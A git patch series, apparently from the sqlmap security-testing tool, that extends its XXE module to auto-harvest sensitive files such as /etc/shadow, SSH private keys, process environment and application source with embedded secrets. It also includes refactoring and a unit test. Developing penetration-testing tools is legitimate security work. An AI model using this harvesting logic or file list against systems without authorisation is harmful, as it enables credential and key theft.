a2ee55d01..a8c4b6d74 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -189,7 +189,7 @@ c2db614a3ce7dda889152bea8bd6d709e5d8c2b556741fdbfe44469f27ce266b lib/core/enums 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -415708a1c10d98f964bc34ddd8dd597ec0ebb216a6e3f3aad391d9283d499f89 lib/core/settings.py +2a638eed1ff10b42b4dfa70aab9d20580169266a08f44d33da50177bc8e78bf2 lib/core/settings.py c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py 15d36cdac9389d0a54a6c33fbb89f32bb65e303f50de573773dcb6d4618bca64 lib/core/target.py @@ -200,7 +200,7 @@ b9aacb840310173202f79c2ba125b0243003ee6b44c92eca50424f2bdfc83c02 lib/core/unesc 2400e465fa4d13e4c32795910878c71ff212e4361b46428d57ce43983f5e997c lib/core/wordlist.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/__init__.py 54bfd31ebded3ffa5848df1c644f196eb704116517c7a3d860b5d081e984d821 lib/parse/banner.py -6d2b663807178b4eed0060ed22cde5a94d1b63b7f1ce54e401f709acfd2344c0 lib/parse/cmdline.py +c9d38a60a85691cdb540e33510dd16228d6afcce0fd2ba39780f71b6da57ebb5 lib/parse/cmdline.py 925a068efa1885fa40671414a887c088f2aafbe8cb76f01286e6bde3f624dac1 lib/parse/configfile.py c5b258be7485089fac9d9cd179960e774fbd85e62836dc67cce76cc028bb6aeb lib/parse/handler.py 5c9a9caee948843d5537745640cc7b98d70a0412cc0949f59d4ebe8b2907c06c lib/parse/headers.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 33ef2afb9..e48c980ad 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.27" +VERSION = "1.10.7.28" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index d70b1001d..3bfe55d59 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -794,7 +794,7 @@ def cmdLineParser(argv=None): help="Test for XML External Entity (XXE) injection") nonsql.add_argument("--oob-server", dest="oobServer", - help="Out-of-band server for blind '--xxe' (default: public interactsh; 'none' to disable OOB)") + help="Out-of-band server for blind '--xxe'") nonsql.add_argument("--oob-token", dest="oobToken", help="Authentication token for a self-hosted '--oob-server'") From 3bab3cd795d60dd76439d3e53577a638ca43a2b2 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sat, 4 Jul 2026 13:35:00 +0200 Subject: [PATCH 136/165] Minor update --- data/txt/sha256sums.txt | 8 +-- lib/core/settings.py | 28 +++++++- lib/core/target.py | 2 +- lib/techniques/xxe/inject.py | 123 ++++++++++++++++++++++++++--------- tests/test_xxe.py | 30 ++++++++- 5 files changed, 152 insertions(+), 39 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index a8c4b6d74..98118d629 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -189,10 +189,10 @@ c2db614a3ce7dda889152bea8bd6d709e5d8c2b556741fdbfe44469f27ce266b lib/core/enums 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -2a638eed1ff10b42b4dfa70aab9d20580169266a08f44d33da50177bc8e78bf2 lib/core/settings.py +f8b1a13e3bb6ec50b5021bf04c52795a0d561ae3c95c8a05d1cc1c43faf4382e lib/core/settings.py c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py -15d36cdac9389d0a54a6c33fbb89f32bb65e303f50de573773dcb6d4618bca64 lib/core/target.py +69a68894db04695234369eedac71b5a89efc1b4ce89ef0e61ebbbc1895ff32b2 lib/core/target.py 96d107a31bb9647a9b7c26f10beac528bf4edc6e607c8b776c624d494332c7f8 lib/core/testing.py 95656c44bab1771f4808030dd6a17eae5b129cb1234443f00b19695c7b712b86 lib/core/threads.py b9aacb840310173202f79c2ba125b0243003ee6b44c92eca50424f2bdfc83c02 lib/core/unescaper.py @@ -258,7 +258,7 @@ c68f8259e0a89a556d049f227041849df584313bd1b5349b02f74a47778c901c lib/techniques 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/xpath/__init__.py c61816c9dba9f6cc2223aed1a923f95130979e5f0a88ec254ee667d955ed2734 lib/techniques/xpath/inject.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/xxe/__init__.py -e542cbcb1e2798f2d756d1f79940f61f7cebef661657f8ca1dba83c0696e95eb lib/techniques/xxe/inject.py +b14b8cb398aad9e020e77c337c1b6e7f5e5cc195723a267d2579cd338b75e438 lib/techniques/xxe/inject.py 2403eda0e87835a2b402cbe6927a4d2737c4e87f3d4ef9b75e7685f3d2a9dc1e lib/utils/api.py 442555ab85277aff7c9e0cf465ea5b0d28395c326f68363449b2d3941f4b6de2 lib/utils/brute.py da5bcbcda3f667582adf5db8c1b5d511b469ac61b55d387cec66de35720ed718 lib/utils/crawler.py @@ -670,7 +670,7 @@ b03689c4dcca0e88a62a88784c61418f963c031d338a357dcc223560c8f9bd22 tests/test_use 93ef9944effc62d4f744c57bd643137c90fd92205c6a6cbe891e0e99efb80a7f tests/test_wafbypass.py 81bb6d7449f224fa337734ae361c1a340bf9a51768a854d6a1a6e718ed1263ca tests/test_wordlist.py 9d6dd551b751ab38200ab190c744ec0a9afa798b37f83b0078a4325ab3f80aec tests/test_xpath.py -b01acaa558b4f3e87957fe2d9a59d48878a7ed26660d5676ca34ecaaa1efd2b7 tests/test_xxe.py +db002e350cded0b92327ae546d99c05c60bb7a767e56681993894f62b1248613 tests/test_xxe.py 55eaefc664bd8598329d535370612351ec8443c52465f0a37172ea46a97c458a thirdparty/ansistrm/ansistrm.py e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 thirdparty/ansistrm/__init__.py f597b49ef445bfbfb8f98d1f1a08dcfe4810de5769c0abfab7cdce4eebbfcae7 thirdparty/beautifulsoup/beautifulsoup.py diff --git a/lib/core/settings.py b/lib/core/settings.py index e48c980ad..889e36e59 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.28" +VERSION = "1.10.7.29" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -1121,6 +1121,32 @@ XXE_IMPACT_FILES = ( ("file:///c:/windows/win.ini", r"(?i)\[(?:fonts|extensions|mci extensions|files)\]"), ) +# Once an in-band XXE file-read primitive is CONFIRMED, sqlmap proactively harvests +# this curated set of high-value, fixed-path files (host identity, process env/ +# secrets, key material) - the XXE analogue of the automatic dumping the other +# non-SQL engines perform. Kept small and high-signal (each entry costs 1-2 requests); +# best-effort, so unreadable/absent files are silently skipped. Unlike XXE_IMPACT_FILES +# (a benign PRE-confirmation impact probe that avoids WAF-honeypot paths) this runs +# only AFTER confirmation, so sensitive paths are appropriate. Skipped when the user +# gave an explicit '--file-read' (that targeted request is honoured verbatim instead). +XXE_FILE_HARVEST = ( + "/etc/passwd", + "/etc/hostname", + "/etc/hosts", + "/etc/os-release", + "/etc/shadow", + "/etc/group", + "/proc/self/environ", + "/proc/self/cmdline", + "/proc/self/status", + "/proc/version", + "/root/.bash_history", + "/root/.ssh/id_rsa", + "c:/windows/win.ini", + "c:/windows/system32/drivers/etc/hosts", + "c:/inetpub/wwwroot/web.config", +) + # GoSecure dtd-finder local-DTD repurposing table for no-egress error-based XXE: # an on-disk DTD is loaded, one of its parameter entities is redefined to smuggle # an error/exfil primitive, so no outbound network is needed. (path, entity_name). diff --git a/lib/core/target.py b/lib/core/target.py index a74955b71..0aff96161 100644 --- a/lib/core/target.py +++ b/lib/core/target.py @@ -618,7 +618,7 @@ def _createFilesDir(): Create the file directory. """ - if not any((conf.fileRead, conf.commonFiles)): + if not any((conf.fileRead, conf.commonFiles, conf.xxe)): return # Note: normalize the hostname consistently with conf.outputPath / conf.dumpPath (see _createDumpDir) diff --git a/lib/techniques/xxe/inject.py b/lib/techniques/xxe/inject.py index f6d7432cb..2de1ee4fc 100644 --- a/lib/techniques/xxe/inject.py +++ b/lib/techniques/xxe/inject.py @@ -26,6 +26,7 @@ from lib.core.enums import HTTPMETHOD from lib.core.settings import ASTERISK_MARKER from lib.core.settings import XXE_BLACKHOLE_HOST from lib.core.settings import XXE_ERROR_SIGNATURES +from lib.core.settings import XXE_FILE_HARVEST from lib.core.settings import XXE_HARDENED_REGEX from lib.core.settings import XXE_IMPACT_FILES from lib.core.settings import OOB_POLL_ATTEMPTS @@ -229,21 +230,50 @@ def _echoed(page): def _report(title, payload): if conf.beep: beep() - place = "%s XML body" % (conf.method or HTTPMETHOD.POST) - conf.dumper.singleString("---\nParameter: %s\n Type: XXE injection\n Title: %s\n Payload: %s\n---" % (place, title, payload)) + place = conf.method or HTTPMETHOD.POST + conf.dumper.singleString("---\nParameter: XML body (%s)\n Type: XXE injection\n Title: %s\n Payload: %s\n---" % (place, title, payload)) + + +def _saveFileRead(remoteFile, content): + """Save an XXE-read file to the output directory (parity with '--file-read') and + return its local path, or None if it could not be written.""" + try: + return dataToOutFile(remoteFile, getBytes(content)) + except Exception as ex: + logger.debug("could not save XXE-read file to disk: %s" % getUnicode(ex)) + return None def _dumpFileRead(remoteFile, content): - """Save an XXE-read file to the output directory (parity with '--file-read') and - list it; fall back to a console dump if the file cannot be written.""" - try: - localPath = dataToOutFile(remoteFile, getBytes(content)) - if localPath: - conf.dumper.rFile([localPath]) - return - except Exception as ex: - logger.debug("could not save XXE-read file to disk: %s" % getUnicode(ex)) - conf.dumper.singleString("XXE file read ('%s'):\n%s" % (remoteFile, content)) + """Save a single XXE-read file and list it; fall back to a console dump if the + file cannot be written.""" + localPath = _saveFileRead(remoteFile, content) + if localPath: + conf.dumper.rFile([localPath]) + else: + conf.dumper.singleString("XXE file read ('%s'):\n%s" % (remoteFile, content)) + + +def _harvestFiles(xml, rootName): + """Proactive, best-effort file harvest run once an in-band XXE read primitive is + confirmed: pull a curated set of high-value fixed-path files (host identity, + process env/secrets, key material) the way the other non-SQL engines auto-dump + their reachable data. Returns a list of (path, content, payload) for every file + that read back non-empty; unreadable/absent files are silently skipped. Content is + de-duplicated so a parser that resolves every missing path to the same stub cannot + masquerade as many distinct reads.""" + + harvested = [] + seen = set() + for path in XXE_FILE_HARVEST: + content, payload = _tryInbandFileRead(xml, rootName, path) + if content and content.strip(): + key = content.strip() + if key in seen: + continue + seen.add(key) + harvested.append((path, content, payload)) + return harvested def _tryInternal(xml, rootName, baseline): @@ -280,7 +310,7 @@ def _tryInbandFileRead(xml, rootName, fileName): entity between two random markers so the exact file content can be sliced out of the response regardless of surrounding template. Raw file:// works for text files; php://filter base64 (PHP) carries files with XML-special bytes. Returns - the file content or None.""" + (content, payload) or (None, None).""" from lib.core.convert import decodeBase64 @@ -303,13 +333,13 @@ def _tryInbandFileRead(xml, rootName, fileName): except Exception: continue if data and data.strip(): - return data - return None + return data, payload + return None, None def _tryExternalFile(xml, rootName, baseline): """Impact demonstration once XXE is live: read a benign host-identity file via - an external general entity. Returns (systemId, snippet) on a confirmed read.""" + an external general entity. Returns (systemId, payload) on a confirmed read.""" for systemId, pattern in XXE_IMPACT_FILES: ent = randomStr(length=8, lowercase=True) @@ -317,7 +347,7 @@ def _tryExternalFile(xml, rootName, baseline): payload = _placeRef(_buildDoctype(xml, rootName, subset), "&%s;" % ent) snippet = _confirmRead(_send(payload), pattern, baseline) if snippet: - return systemId, snippet + return systemId, payload return None, None @@ -639,8 +669,9 @@ def xxeScan(): _OOB_CONSENT = None debugMsg = "'--xxe' is self-contained: it detects XML External Entity injection " - debugMsg += "in the request body and demonstrates file-read impact. SQL enumeration " - debugMsg += "switches (--banner, --dbs, --tables, --dump) are ignored" + debugMsg += "in the request body and, once confirmed, automatically harvests high-value " + debugMsg += "host files (or reads '--file-read' when given). SQL enumeration switches " + debugMsg += "(--banner, --dbs, --tables, --dump) are ignored" logger.debug(debugMsg) xml = _cleanBody() @@ -661,31 +692,59 @@ def xxeScan(): # T2: in-band reflected DTD/internal-entity expansion. This proves the parser # processes entities but is NOT yet file-read impact, so it deliberately does NOT - # set `found` - the in-band read (or, if that fails, the error/XInclude tiers) still - # run to try to upgrade a mere "expansion confirmed" into actual file-read impact. + # set `found` on its own - we first try to UPGRADE it to real file-read impact and + # then emit a SINGLE report block with the strongest confirmed vector and its real + # payload (one report per finding, as with the other non-SQL engines). The internal + # expansion is only reported on its own when no external-entity read is reachable. payload, page = _tryInternal(xml, rootName, baseline) if payload: expansionSeen = True logger.info("the XML body processes DTD/internal entities (in-band reflection confirmed)") - _report("In-band DTD/internal entity expansion", payload) if conf.get("fileRead"): - content = _tryInbandFileRead(xml, rootName, conf.fileRead) + content, readPayload = _tryInbandFileRead(xml, rootName, conf.fileRead) if content: found = True logger.info("in-band XXE file-read impact confirmed for '%s'" % conf.fileRead) - _report("In-band file read ('%s')" % conf.fileRead, "" % conf.fileRead) + _report("In-band file read ('%s')" % conf.fileRead, readPayload) _dumpFileRead(conf.fileRead, content) else: - # benign, in-band impact demonstration (data stays in the response, no third party) - systemId, snippet = _tryExternalFile(xml, rootName, baseline) - if not systemId: - snippet = _tryPhpFilter(xml, rootName, baseline) - systemId = "php://filter" if snippet else None - if systemId: + # No targeted '--file-read': proactively harvest a curated set of high-value + # files (data stays in the response, no third party) - the XXE analogue of + # the automatic dumping the other non-SQL engines do once confirmed. + harvested = _harvestFiles(xml, rootName) + if harvested: found = True - logger.info("in-band XXE file-read impact confirmed (external entity, e.g. '%s')" % systemId) - _report("In-band file-read impact (external entity '%s')" % systemId, "") + firstPath, _, firstPayload = harvested[0] + logger.info("in-band XXE file-read impact confirmed; harvested %d high-value file(s)" % len(harvested)) + _report("In-band file read (auto-harvest, e.g. '%s')" % firstPath, firstPayload) + saved = [] + for path, content, _ in harvested: + logger.info("read remote file '%s' (%d bytes)" % (path, len(content))) + localPath = _saveFileRead(path, content) + if localPath: + saved.append(localPath) + else: + conf.dumper.singleString("XXE file read ('%s'):\n%s" % (path, content)) + if saved: + conf.dumper.rFile(saved) + else: + # Harvest read nothing (content relocated in the response, or only benign + # host-identity is exposed): fall back to the pattern-based impact proof + # so file-read impact is still confirmed. + systemId, readPayload = _tryExternalFile(xml, rootName, baseline) + if not systemId: + readPayload = _tryPhpFilter(xml, rootName, baseline) + systemId = "php://filter" if readPayload else None + if systemId: + found = True + logger.info("in-band XXE file-read impact confirmed (external entity, e.g. '%s')" % systemId) + _report("In-band file-read impact (external entity '%s')" % systemId, readPayload) + + if not found: + # external entities are disabled (only internal expansion is reachable): + # report that weaker-but-real finding with its actual payload + _report("In-band DTD/internal entity expansion", payload) # T3: error-based (works where entities are not reflected but errors leak). A # redundant detection channel once in-band reflection was already seen, so it is diff --git a/tests/test_xxe.py b/tests/test_xxe.py index 8c46873c8..736f8ece0 100644 --- a/tests/test_xxe.py +++ b/tests/test_xxe.py @@ -239,7 +239,35 @@ class TestReportMethod(unittest.TestCase): xxe._report("Title", "Payload") finally: conf.dumper, conf.method, conf.beep = old_dumper, old_method, old_beep - self.assertIn("PUT XML body", captured[0]) + self.assertIn("Parameter: XML body (PUT)", captured[0]) + + +class TestHarvestFiles(unittest.TestCase): + def test_harvest_collects_dedups_and_skips_empty(self): + # simulate a target that returns real content for two files, an empty read for + # one (skipped), and an identical stub for the rest (deduped to a single entry) + def _fake(xml, rootName, path): + if path == "/etc/passwd": + return "root:x:0:0:root:/root:/bin/sh\n", "PAYLOAD-passwd" + if path == "/etc/hostname": + return "host01\n", "PAYLOAD-hostname" + if path == "/etc/hosts": + return " ", "PAYLOAD-empty" # whitespace-only -> skipped + return "same stub", "PAYLOAD-stub" # identical for every other path -> deduped + + old = xxe._tryInbandFileRead + xxe._tryInbandFileRead = _fake + try: + harvested = xxe._harvestFiles("x", "user") + finally: + xxe._tryInbandFileRead = old + + paths = [p for p, _, _ in harvested] + self.assertIn("/etc/passwd", paths) + self.assertIn("/etc/hostname", paths) + self.assertNotIn("/etc/hosts", paths) # empty read skipped + self.assertEqual(paths.count("/etc/passwd"), 1) + self.assertEqual(sum(1 for c in (c for _, c, _ in harvested) if c == "same stub"), 1) # stub deduped class TestOobBase64Capture(unittest.TestCase): From 6597415ab056c2587489faaa0d285d12f6b1a333 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sat, 4 Jul 2026 21:45:42 +0200 Subject: [PATCH 137/165] Minor update --- data/txt/sha256sums.txt | 8 ++-- lib/controller/checks.py | 4 +- lib/core/common.py | 20 ++++++++-- lib/core/settings.py | 29 ++++++++++---- lib/techniques/xxe/inject.py | 77 +++++++++++++++++++++++++++++++++++- 5 files changed, 121 insertions(+), 17 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 98118d629..d3fe8eadd 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -162,13 +162,13 @@ df768bcb9838dc6c46dab9b4a877056cb4742bd6cfaaf438c4a3712c5cc0d264 extra/shutils/ 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 extra/vulnserver/__init__.py 9af5fdfa8b2425d404d86ab08d3644caa95bcf77605551f5da482a59d1e54a22 extra/vulnserver/vulnserver.py a2bf70d7f87c3a4e0675c0bad54119a4e04efa6ea2730a8338d5aebcd995630e lib/controller/action.py -0d1072ac052b65fca6da9975238b6f8816bc78603631b68ada4c7aea97f060e4 lib/controller/checks.py +ce1f56cd5abcbb71a1074e7fe198de5d6e75353ed3eb1084f6cac657118df8cb lib/controller/checks.py 00d56cc59757cc3f3073ac20735ac9954ff06242b9433a96bd4186c090094db3 lib/controller/controller.py d69e84f1648cdb907f5d2dd454f03874a4613752b07867510145d51d84b3c56f lib/controller/handler.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/controller/__init__.py 48ffe93d61734e16c3b20153b51595853d9ac1fbcf0b537e0e61e957b0c0bfa6 lib/core/agent.py c51c33501cc905586a9aaac93b06f2ac6f71628d032a7dc39fd0ef05d7ee3856 lib/core/bigarray.py -c230a214023a6556648e6af485b42fbcd10f23d2cb9018ad7bc68e36f7241328 lib/core/common.py +19989ca19194bf3f7a42a929b153e45c9a2177e01ab6ab63a5372daa5989c0e8 lib/core/common.py 8f1272487e1adfcc8c755a2f56f0c6d21eac5e685a73a9a159482f9dc9142bc5 lib/core/compat.py 5301ba2204404d086e9a67271cde00fc10214c63b018a95fc5aa90ff9e0b2ad9 lib/core/convert.py c03dc585f89642cfd81b087ac2723e3e1bb3bfa8c60e6f5fe58ef3b0113ebfe6 lib/core/data.py @@ -189,7 +189,7 @@ c2db614a3ce7dda889152bea8bd6d709e5d8c2b556741fdbfe44469f27ce266b lib/core/enums 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -f8b1a13e3bb6ec50b5021bf04c52795a0d561ae3c95c8a05d1cc1c43faf4382e lib/core/settings.py +df067f981efe10f6743eba13c48c9c1db158ff4e9d015831e5dbfa2ece80f7bf lib/core/settings.py c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py 69a68894db04695234369eedac71b5a89efc1b4ce89ef0e61ebbbc1895ff32b2 lib/core/target.py @@ -258,7 +258,7 @@ c68f8259e0a89a556d049f227041849df584313bd1b5349b02f74a47778c901c lib/techniques 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/xpath/__init__.py c61816c9dba9f6cc2223aed1a923f95130979e5f0a88ec254ee667d955ed2734 lib/techniques/xpath/inject.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/xxe/__init__.py -b14b8cb398aad9e020e77c337c1b6e7f5e5cc195723a267d2579cd338b75e438 lib/techniques/xxe/inject.py +97f3ea4342b11d57cf3bb25e2ba50dc5f561bc595c6c09eebcc2ed921d096a1f lib/techniques/xxe/inject.py 2403eda0e87835a2b402cbe6927a4d2737c4e87f3d4ef9b75e7685f3d2a9dc1e lib/utils/api.py 442555ab85277aff7c9e0cf465ea5b0d28395c326f68363449b2d3941f4b6de2 lib/utils/brute.py da5bcbcda3f667582adf5db8c1b5d511b469ac61b55d387cec66de35720ed718 lib/utils/crawler.py diff --git a/lib/controller/checks.py b/lib/controller/checks.py index a83a5f2cf..a33fd421f 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -1283,7 +1283,9 @@ def checkDynamicContent(firstPage, secondPage): seqMatcher.set_seq1(firstPage) seqMatcher.set_seq2(secondPage) ratio = seqMatcher.quick_ratio() - except MemoryError: + except (MemoryError, TypeError, SystemError, ValueError, AttributeError): + # difflib can fail on pathological input or, rarely, with interpreter-level + # errors under heavy threading; degrade to "undetermined" instead of crashing ratio = None if ratio is None: diff --git a/lib/core/common.py b/lib/core/common.py index 9a86af8cd..4c4a4d307 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -2344,9 +2344,14 @@ def showStaticWords(firstPage, secondPage, minLength=3): infoMsg = "static words: " if firstPage and secondPage: - match = SequenceMatcher(None, firstPage, secondPage).find_longest_match(0, len(firstPage), 0, len(secondPage)) - commonText = firstPage[match[0]:match[0] + match[2]] - commonWords = getPageWordSet(commonText) + try: + match = SequenceMatcher(None, firstPage, secondPage).find_longest_match(0, len(firstPage), 0, len(secondPage)) + commonText = firstPage[match[0]:match[0] + match[2]] + commonWords = getPageWordSet(commonText) + except (MemoryError, TypeError, SystemError, ValueError, AttributeError): + # difflib can fail on pathological input / interpreter-level hiccups; skip + # the static-word hint rather than abort (see findDynamicContent / comparison.py) + commonWords = None else: commonWords = None @@ -3363,7 +3368,14 @@ def findDynamicContent(firstPage, secondPage, merge=False): infoMsg = "searching for dynamic content" singleTimeLogMessage(infoMsg) - blocks = list(SequenceMatcher(None, firstPage, secondPage).get_matching_blocks()) + try: + blocks = list(SequenceMatcher(None, firstPage, secondPage).get_matching_blocks()) + except (MemoryError, TypeError, SystemError, ValueError, AttributeError): + # difflib can blow up on pathological/oversized input (and, rarely, with + # interpreter-level errors under heavy threading); a failed dynamic-content + # search must degrade gracefully rather than abort the whole scan - mirrors the + # guard around the ratio computation in lib/request/comparison.py + return if not merge: kb.dynamicMarkings = [] diff --git a/lib/core/settings.py b/lib/core/settings.py index 889e36e59..35ab7215c 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.29" +VERSION = "1.10.7.30" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -1123,12 +1123,13 @@ XXE_IMPACT_FILES = ( # Once an in-band XXE file-read primitive is CONFIRMED, sqlmap proactively harvests # this curated set of high-value, fixed-path files (host identity, process env/ -# secrets, key material) - the XXE analogue of the automatic dumping the other -# non-SQL engines perform. Kept small and high-signal (each entry costs 1-2 requests); -# best-effort, so unreadable/absent files are silently skipped. Unlike XXE_IMPACT_FILES -# (a benign PRE-confirmation impact probe that avoids WAF-honeypot paths) this runs -# only AFTER confirmation, so sensitive paths are appropriate. Skipped when the user -# gave an explicit '--file-read' (that targeted request is honoured verbatim instead). +# secrets, key material, common application drop paths) - the XXE analogue of the +# automatic dumping the other non-SQL engines perform. Kept small and high-signal (each +# entry costs 1-2 requests); best-effort, so unreadable/absent files are silently +# skipped. Unlike XXE_IMPACT_FILES (a benign PRE-confirmation impact probe that avoids +# WAF-honeypot paths) this runs only AFTER confirmation, so sensitive paths are +# appropriate. Skipped when the user gave an explicit '--file-read' (that targeted +# request is honoured verbatim instead). XXE_FILE_HARVEST = ( "/etc/passwd", "/etc/hostname", @@ -1142,11 +1143,25 @@ XXE_FILE_HARVEST = ( "/proc/version", "/root/.bash_history", "/root/.ssh/id_rsa", + "/flag", + "/flag.txt", "c:/windows/win.ini", "c:/windows/system32/drivers/etc/hosts", "c:/inetpub/wwwroot/web.config", ) +# Application web roots + source filenames used, once php://filter is available, to +# disclose server-side SOURCE code (which is executed and never rendered, yet leaks its +# literals - credentials, tokens, embedded secrets - verbatim through the base64 filter +# wrapper). Combined with the running script derived from harvested /proc/self/{cmdline, +# environ}. Best-effort and bounded. +XXE_WEBROOTS = ("/var/www/html", "/var/www", "/app", "/usr/src/app", "/srv/app") +XXE_SOURCE_NAMES = ( + "index.php", "config.php", "config.inc.php", "secret.php", + "db.php", "database.php", "settings.php", "init.php", "functions.php", + "app.py", "server.py", "main.py", "wp-config.php", ".env", +) + # GoSecure dtd-finder local-DTD repurposing table for no-egress error-based XXE: # an on-disk DTD is loaded, one of its parameter entities is redefined to smuggle # an error/exfil primitive, so no outbound network is needed. (path, entity_name). diff --git a/lib/techniques/xxe/inject.py b/lib/techniques/xxe/inject.py index 2de1ee4fc..1e62de59a 100644 --- a/lib/techniques/xxe/inject.py +++ b/lib/techniques/xxe/inject.py @@ -29,6 +29,8 @@ from lib.core.settings import XXE_ERROR_SIGNATURES from lib.core.settings import XXE_FILE_HARVEST from lib.core.settings import XXE_HARDENED_REGEX from lib.core.settings import XXE_IMPACT_FILES +from lib.core.settings import XXE_SOURCE_NAMES +from lib.core.settings import XXE_WEBROOTS from lib.core.settings import OOB_POLL_ATTEMPTS from lib.core.settings import OOB_POLL_DELAY from lib.core.settings import XXE_LOCAL_DTDS @@ -276,6 +278,77 @@ def _harvestFiles(xml, rootName): return harvested +def _phpFilterWorks(xml, rootName): + """One probe: can the target read a file via php://filter (i.e. is it PHP)? Gates + the PHP-only source-code sweep so a non-PHP target does not pay dozens of pointless + requests for it.""" + + from lib.core.convert import decodeBase64 + + m1, m2 = randomStr(8, lowercase=True), randomStr(8, lowercase=True) + ent = randomStr(8, lowercase=True) + subset = '' % ent + payload = _placeRef(_buildDoctype(xml, rootName, subset), "%s&%s;%s" % (m1, ent, m2)) + match = re.search(re.escape(m1) + r"(.*?)" + re.escape(m2), getUnicode(_send(payload)), re.DOTALL) + if match and match.group(1).strip(): + try: + return bool(getText(decodeBase64(match.group(1).strip())).strip()) + except Exception: + pass + return False + + +def _harvestSource(xml, rootName, harvested): + """PHP-only follow-up run once an in-band read primitive is confirmed: disclose + server-side application SOURCE code via php://filter (source is executed, never + rendered, yet its literals - credentials, tokens, embedded secrets - leak verbatim). + Candidate paths are derived from the already-harvested /proc/self/{cmdline,environ} + (running script + working dir) combined with common web roots/source names, and + de-duplicated against the host harvest by content. Skipped entirely on a non-PHP + target. Returns a list of (path, content, payload).""" + + if not _phpFilterWorks(xml, rootName): + return [] + + byPath = dict((p, c) for p, c, _ in harvested) + seen = set(getUnicode(c).strip() for c in byPath.values()) + candidates = [] + + dirs = [] + environ = getUnicode(byPath.get("/proc/self/environ", "")) + match = re.search(r"(?:^|\x00)PWD=([^\x00]+)", environ) + cwd = match.group(1).strip() if match else None + if cwd: + dirs.append(cwd) + dirs += [_ for _ in XXE_WEBROOTS if _ != cwd] + + cmdline = getUnicode(byPath.get("/proc/self/cmdline", "")) + for token in re.split(r"[\x00\s]+", cmdline): + if token and re.search(r"\.(?:php|py|rb|js|jsp|pl|cgi)$", token, re.I): + if token.startswith("/"): + candidates.append(token) # absolute script path + elif cwd: + candidates.append("%s/%s" % (cwd.rstrip("/"), token)) + + for directory in dirs: + for name in XXE_SOURCE_NAMES: + candidates.append("%s/%s" % (directory.rstrip("/"), name)) + + logger.info("attempting 